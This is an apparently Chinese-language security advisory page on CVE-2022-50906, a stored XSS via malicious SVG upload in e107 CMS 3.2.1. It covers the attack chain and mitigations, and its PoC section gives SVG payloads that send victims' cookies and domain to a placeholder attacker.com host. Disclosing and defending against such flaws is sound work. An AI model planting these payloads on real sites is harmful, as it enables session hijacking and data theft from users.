IPBUF安全漏洞报告
English
CVE-2022-50906 CVSS 4.8 中危

CVE-2022-50906: e107 CMS SVG上传限制绕过导致存储型XSS

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50906
漏洞类型
上传限制绕过 / 存储型XSS
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
e107 CMS 3.2.1

相关标签

上传限制绕过存储型XSSSVG注入e107 CMSCVE-2022-50906媒体管理器权限绕过

漏洞概述

CVE-2022-50906是e107 CMS 3.2.1版本中的一个上传限制绕过漏洞。该漏洞允许经过身份认证的管理员通过媒体管理器上传恶意SVG文件。攻击者利用此漏洞可以上传包含嵌入式跨站脚本(XSS)负载的SVG文件,当其他用户查看这些文件时,恶意脚本将在其浏览器上下文中执行,从而实现会话劫持、敏感信息窃取等攻击目的。CVSS评分为4.8,属于中等严重程度。攻击向量为网络,攻击复杂度低,但需要高权限(管理员权限)和用户交互(UI:R)才能成功利用。机密性影响和完整性影响均为低。该漏洞由VulnCheck发现并披露,存在于e107 CMS的媒体上传功能中,攻击者可绕过现有的文件上传限制机制上传危险文件类型。

技术细节

e107 CMS 3.2.1的媒体管理器在处理SVG文件上传时存在安全验证缺陷。系统虽然对常见的危险文件类型(如PHP、JSP等)进行了上传限制,但未能正确验证SVG文件的内容和结构。攻击者可以构造包含<script>标签或事件处理器(如onload、onerror等)的SVG文件,绕过服务器端的内容类型检查。当受害者通过浏览器访问这些已上传的SVG文件时,浏览器会解析SVG并执行其中的JavaScript代码。攻击者利用存储型XSS漏洞可以窃取受害者Cookie、模拟用户操作、获取敏感页面内容等。由于SVG文件通常会被存储在服务器上并长期存在,这种攻击具有持久性影响。修复方案需要在服务器端对SVG文件内容进行严格解析,禁用脚本执行,并实施内容安全策略(CSP)来防止恶意脚本运行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用e107 CMS,并确定其版本为3.2.1
STEP 2
步骤2: 获取管理员权限
攻击者通过暴力破解、钓鱼、凭证填充或其他方式获取e107 CMS管理员账户凭据
STEP 3
步骤3: 构造恶意SVG文件
攻击者创建包含XSS负载的SVG文件,使用<script>标签或事件处理器(如onload、onerror)嵌入JavaScript代码
STEP 4
步骤4: 上传恶意文件
使用管理员账户登录e107 CMS,通过媒体管理器上传构造好的恶意SVG文件
STEP 5
步骤5: 诱骗受害者访问
攻击者诱使其他用户(如普通管理员、内容编辑等)访问已上传的SVG文件链接
STEP 6
步骤6: XSS执行
受害者的浏览器解析SVG文件并执行其中的JavaScript代码,窃取Cookie或执行其他恶意操作
STEP 7
步骤7: 会话劫持
攻击者利用窃取的会话Cookie冒充受害者身份,执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for CVE-2022-50906 PoC --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script type="text/javascript"> // Steal session cookies and send to attacker server var cookies = document.cookie; fetch('https://attacker.com/steal?c=' + encodeURIComponent(cookies)); </script> </svg> <!-- Alternative payload using event handler --> <svg xmlns="http://www.w3.org/2000/svg"> <image href="x" onerror="fetch('https://attacker.com/log?d='+document.domain)"/> </svg>

影响范围

e107 CMS 3.2.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制只有可信管理员才能访问媒体管理器功能;2) 对所有上传的SVG文件进行服务器端内容过滤,移除<script>标签和危险的事件处理器;3) 在Web应用防火墙(WAF)中配置规则,检测并阻止包含XSS负载的SVG文件上传;4) 临时禁用SVG文件上传功能,直到漏洞修复;5) 实施严格的Content-Security-Policy,阻止SVG中的脚本执行;6) 加强对管理员账户的安全监控,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表